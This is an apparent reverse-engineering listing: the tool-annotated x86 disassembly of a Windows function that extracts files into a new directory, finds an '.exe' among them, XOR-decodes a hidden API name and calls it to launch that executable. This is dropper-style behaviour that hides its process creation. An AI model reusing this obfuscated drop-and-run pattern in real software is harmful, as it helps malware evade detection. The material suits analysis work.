Function at 0x4015c0
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x4447a6
push eax
mov eax, 0x40d0
mov dword fs:[0], esp
call fcn.0041e560
push ebx
push esi
push edi
push 0x2000
push 0x40
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push dword [0x456988]
mov ebx, eax
push ebx
mov dword [ebp - 0x38], ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4517ec
push ebx
call esi
push dword [ebp + 0xc]
push ebx
call esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x3c]
push eax
push 0
push edi
call fcn.0040a2c0
add esp, 0xc
mov ebx, eax
lea eax, [ebp - 0x90]
mov dword [ebp - 0x2c], ebx
push eax
call fcn.00408b60
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push ebx
call fcn.00407600
add esp, 8
test edx, edx
jl 0x401850
jg 0x40166a
test eax, eax
je 0x401850
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
lea eax, [ebp - 0x90]
push eax
push 0
push edi
push esi
push ebx
call fcn.0040a520
add esp, 0x14
test eax, eax
jne 0x401827
lea eax, [ebp - 0x90]
push eax
push 0
push dword [ebp - 0x88]
push ebx
call fcn.004075c0
mov eax, dword [ebp - 0x78]
add esp, 0x10
mov dword [ebp - 0x34], eax
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x18], eax
jmp 0x4016d9
push 9
push dword [ebp - 0x88]
push dword [ebp - 0x2c]
call fcn.00408c40
add esp, 0xc
mov dword [ebp - 0x30], eax
jmp 0x401701
jmp 0x401713
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x18]
push dword [ebp - 0x30]
call fcn.00408bc0
add esp, 0x10
jmp 0x401738
jmp 0x40174a
push dword [ebp - 0x30]
call fcn.00408a70
add esp, 4
jmp 0x401767
lea eax, [ebp - 0x20d8]
push 0x2000
push 0
push eax
call fcn.0041fce0
add esp, 0xc
lea eax, [ebp - 0x20d8]
push dword [ebp - 0x88]
push dword [ebp - 0x38]
push 0x4517f0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x20d8]
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [ebp - 0x18]
mov esi, eax
push 0
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x34]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push str..exe
lea eax, [ebp - 0x20d8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x401824
push 0x2000
push eax
lea eax, [ebp - 0x40d8]
push eax
call fcn.0041fce0
add esp, 0xc
lea eax, [ebp - 0x20d8]
push eax
lea eax, [ebp - 0x40d8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cdq
push 0
push ebx
mov esi, eax
mov edi, edx
call fcn.00407600
add esp, 8
cmp edi, edx
jl 0x401680
jg 0x401850
cmp esi, eax
jb 0x401680
push ebx
call fcn.00408120
add esp, 4
mov dword [ebp - 0xd8], 0x44
lea eax, [ebp - 0xd4]
push 0x40
push 0
push eax
call fcn.0041fce0
mov eax, dword fs:[0x2c]
add esp, 0xc
mov dword [ebp - 0x20], 0xa448efbe
mov dword [ebp - 0x1c], 0x8119f0ad
mov dword [ebp - 0x18], 0xb648fe92
mov ecx, dword [eax]
mov word [ebp - 0x14], 0xc2aa
mov byte [ebp - 0x12], 0x49
mov eax, dword [ecx + 0x2d0]
lea edi, [ecx + 0x198]
test al, 1
jne 0x4018fa
or eax, 1
mov dword [ecx + 0x2d0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [edi + 0xf], 1
nop
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + edi], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x4018e6
cmp ecx, 0xf
jb 0x4018d0
push 0x444f50
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0xf], 0
je 0x40193d
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
nop
mov ecx, esi
mov eax, 0xc52d9dfd
and ecx, 7
mov edx, 0xf34995d9
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x401939
cmp esi, 0xf
jb 0x401910
mov byte [edi + 0xf], 0
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xd8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x40d8]
push ecx
push 0
call eax
push dword [ebp - 0x50]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x4c]
call ebx
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret